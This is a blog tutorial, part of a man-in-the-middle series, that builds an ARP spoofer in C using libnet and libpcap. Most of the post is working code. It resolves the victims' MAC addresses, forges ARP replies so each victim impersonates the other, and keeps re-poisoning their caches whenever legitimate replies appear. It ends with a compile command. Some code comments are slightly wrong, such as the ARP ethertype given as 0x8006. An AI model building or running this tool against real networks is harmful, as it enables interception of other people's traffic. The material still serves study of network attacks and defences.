MITM 6: ARP spoofing (exploit – 2)

Posted on February 21, 2012

0


Today we are gonna reinvent the wheel, and the worst part is that we won’t even improve it. Why? Because I want to develop an ARP spoofer in C from the scratch based on what we’ve learnt so far in this tutorial.

For this program, I used the multi-platform libraries libnet (for forging packets) and libpcap (for sniffing the network interface).

Libnet is a generic networking API that provides access to several protocols. It is not designed as a ‘all in one’ solution to networking. Currently many features that are common in some network protocols are not available with Libnet, such as streaming via TCP/IP. We feel that Libnet should not provide specific features that are possible in other protocols. If we restrict Libnet to the minimal needed to communicate (datagram/packets) then this allows it to support more interfaces.

The Packet Capture library provides a high level interface to packet capture systems. All packets on the network, even those destined for other hosts, are accessible through this mechanism.

The program is structured in 3 parts:

  1. Getting the MAC address of the targets. For a convenient purpose, the user will just need to provide the IP address of the victims. The application will generate ARP REQUEST based on the IP provided in order to get the MAC address of the targets.
  2. Spoofing the MAC address. The application will forge two ARP REPLY packets, one for each target to impersonate the IP of the other.
  3. Keeping ARP table up to date. After the spoof, the victim can send again legitimate ARP REPLY packet telling the proper MAC address. The application will therefore sniff the network waiting for legitimate ARP REPLY from the victims to spoof back.

Let’s start!

You shouldn’t have a problem with the structures and types of variables. For instance MAC addresses are u_int8_t ether_addr_octet[6] (ff:ff:ff:ff:ff:ff = 6 bytes) and IP addresses are u_int32_t ip (255.255.255.255 = 4 bytes = 32 bits).

The first step is to initialize the session:

l = libnet_init (LIBNET_LINK, device, errbuf);

and then get the information (MAC and IP address) about the network interface (called device in the code):

mac = libnet_get_hwaddr(l);
ip = libnet_get_ipaddr4(l);

You can use man libnet-functions.h and man <pcap function> (e.g. man pcap_loop) for more information about the functions I use.

Getting the MAC address of the targets

The first part of the program is to get the MAC address of the targets. We need to convert the parameters in network byte ordered IPv4.

ip_target_one = libnet_name2addr4 (l, argv[1], LIBNET_RESOLVE);
ip_target_two = libnet_name2addr4 (l, argv[2], LIBNET_RESOLVE);

and then use the IP addresses of the targets to forge and send the ARP REQUEST packets:

arp = libnet_autobuild_arp (	ARPOP_REQUEST,	/* OP: REQUEST */
	(u_int8_t *) mac,	/* MAC address of device used */
	(u_int8_t *) &ip,	/* IP address of device used */
	(u_int8_t *) broadcast_ether,	/* Set to Broadcast address */
	(u_int8_t *) &ip_tmp,	/* IP address of the target */
	l);	/* libnet context */

eth = libnet_build_ethernet (	(u_int8_t *) broadcast_ether,	/* Set to Bradcast address */
	(u_int8_t *) mac,	/* MAC address of device used */
	ETHERTYPE_ARP,	/* Ethertype ARP: 0x8006 */
	NULL,	/* No payload */
	0,	/* No payload */
	l,	/* libnet context */
	0);	/* No libnet protocol tag */

libnet_write (l);

Both targets will receive the ARP REQUEST packets and will answer with an ARP REPLY so we need to sniff the network interface to intercept the packets and keep the MAC address. First we need to initialize the device for sniffing, then set filters in order to capture ARP packet only:

device = l->device;

handle = pcap_open_live (device, 1500, 0, 2000, errbuf);

pcap_datalink (handle) != DLT_EN10MB) {
	fprintf (stderr, "This program only supports Ethernet cards!\n");
	exit (1);
}

char *filter = "arp";
pcap_compile (handle, &fp, filter, 0, PCAP_NETMASK_UNKNOWN);

pcap_setfilter (handle, &fp);

printf ("Looking the for the MAC address of %s...\n", libnet_addr2name4 (ip_tmp, LIBNET_DONT_RESOLVE));

/* Sniffing on the device and process every ARP packet in process_packet () */
if ((s = pcap_loop (handle, -1, process_packet, NULL)) < 0) {
	if (s == -1) {
		fprintf (stderr, "%s", pcap_geterr (handle));
		exit (1);
	}
}

Each ARP packet captured on the interface will be process (in process_packet ()) to determine if it’s a REPLY from the target and collect the MAC addresses.

void process_packet (u_char *user, const struct pcap_pkthdr *header, const u_char * packet) {

	/* PCAP use different struct than libnet for Ether and ARP packets */
	struct etherhdr *eth_header;
	struct ether_arp *arp_packet;

	eth_header = (struct etherhdr *) packet;

	/* In memory, values are oriented in little-endian */
	/* ntohs () put it in a human readable way */
	if (ntohs (eth_header->ether_type) == ETHERTYPE_ARP) {

		arp_packet = (struct ether_arp *) (packet + (ETHER_ADDR_LEN+ETHER_ADDR_LEN+2));

		/* Check if the ARP packet is an ARP reply from one of the targets */
		if (ntohs (arp_packet->ea_hdr.ar_op) == 2 && !memcmp (&ip_tmp, arp_packet->arp_spa, 4)) {

			memcpy (mac_tmp.ether_addr_octet, eth_header->ether_shost, 6);

			pcap_breakloop (handle);
		}
	}
}

Spoofing the MAC address

Now we have all information required to spoof. Let’s forge and send the fake ARP REPLY.

arp = libnet_autobuild_arp (	ARPOP_REPLY,	/* OP: REPLY */
	(u_int8_t *) mac,	/* MAC address of device used */
	(u_int8_t *) &ip_spoof,	/* IP to spoof */
	(u_int8_t *) &mac_target,	/* MAC of the target */
	(u_int8_t *) &ip_target,	/* IP address of the target */
	l);	/* libnet context */

eth = libnet_build_ethernet (	(u_int8_t *) &mac_target,	/* MAC address of the target */
	(u_int8_t *) mac,	/* MAC address of device used */
	ETHERTYPE_ARP,		/* Ethertype ARP: 0x8006 */
	NULL,			/* No payload */
	0,			/* No payload */
	l,			/* libnet context */
	0);			/* No libnet protocol tag */

libnet_write (l);

Keeping ARP table up to date

The ARP table of both targets are now spoofed and we want to keep it like this.  Sometime, computer send ARP REPLY to keep the network up to date with its MAC. Therefore, we need to sniff the network for ARP REPLY from the victim. Whenever an ARP REPLY is intercepted, application stop to sniff and spoof both targets, and then sniff again.

while(1) {

	/* Sniffing device and process every ARP packet in spoof_back () */
	if ((s = pcap_loop (handle, -1, spoof_back, NULL)) < 0) {
		if (s == -1) {
			fprintf (stderr, "%s", pcap_geterr (handle));
			exit (1);
		}
	}

	spoof (ip_target_one, ip_target_two, mac_target_one, mac);
	spoof (ip_target_two, ip_target_one, mac_target_two, mac);

}
void spoof_back (u_char *user, const struct pcap_pkthdr *header, const u_char * packet) {

	/* PCAP use different struct than libnet for Ether and  ARP packets */
	struct etherhdr *eth_header;
	struct ether_arp *arp_packet;

	eth_header = (struct etherhdr *) packet;

	/* In memory, values are oriented in little-endian */
	/* ntohs () put it in a human readable way */
	if (ntohs (eth_header->ether_type) == ETHERTYPE_ARP) {

		arp_packet = (struct ether_arp *) (packet + (ETHER_ADDR_LEN+ETHER_ADDR_LEN+2));

		/* If one the targets sent a legitimate ARP reply, the app stop the sniff */
		if (	ntohs (arp_packet->ea_hdr.ar_op) == 2 &&
				memcmp (mac_tmp.ether_addr_octet, eth_header->ether_shost, 6) &&
				(!memcmp (&ip_tmp, arp_packet->arp_spa, 4) ||
				!memcmp (&ip_tmp_two, arp_packet->arp_spa, 4))) {

			pcap_breakloop (handle);
		}

		/* If one the targets ask who is the other target, the app stop the sniff */
		if (	ntohs (arp_packet->ea_hdr.ar_op) == 1 &&
			memcmp (mac_tmp.ether_addr_octet, eth_header->ether_shost, 6) &&
			(!memcmp (&ip_tmp, arp_packet->arp_tpa, 4) ||
			!memcmp (&ip_tmp_two, arp_packet->arp_tpa, 4))) {

			pcap_breakloop (handle);
		}

	}
}

The source codes are available on the Sec ITs repository ARP Spoof SI. To compile, you first need to install libnet and libpcap and libnet-config if it isn’t done yet. Then you can compile the source code:

gcc $(libnet-config --defines) -o arp_spoof_si arp_spoof_si.c -lnet -lpcap

Hope this help to make things clear for the exploit of ARP spoofing. Feel free to leave a feedback.

Advertisements
Posted in: Tutorials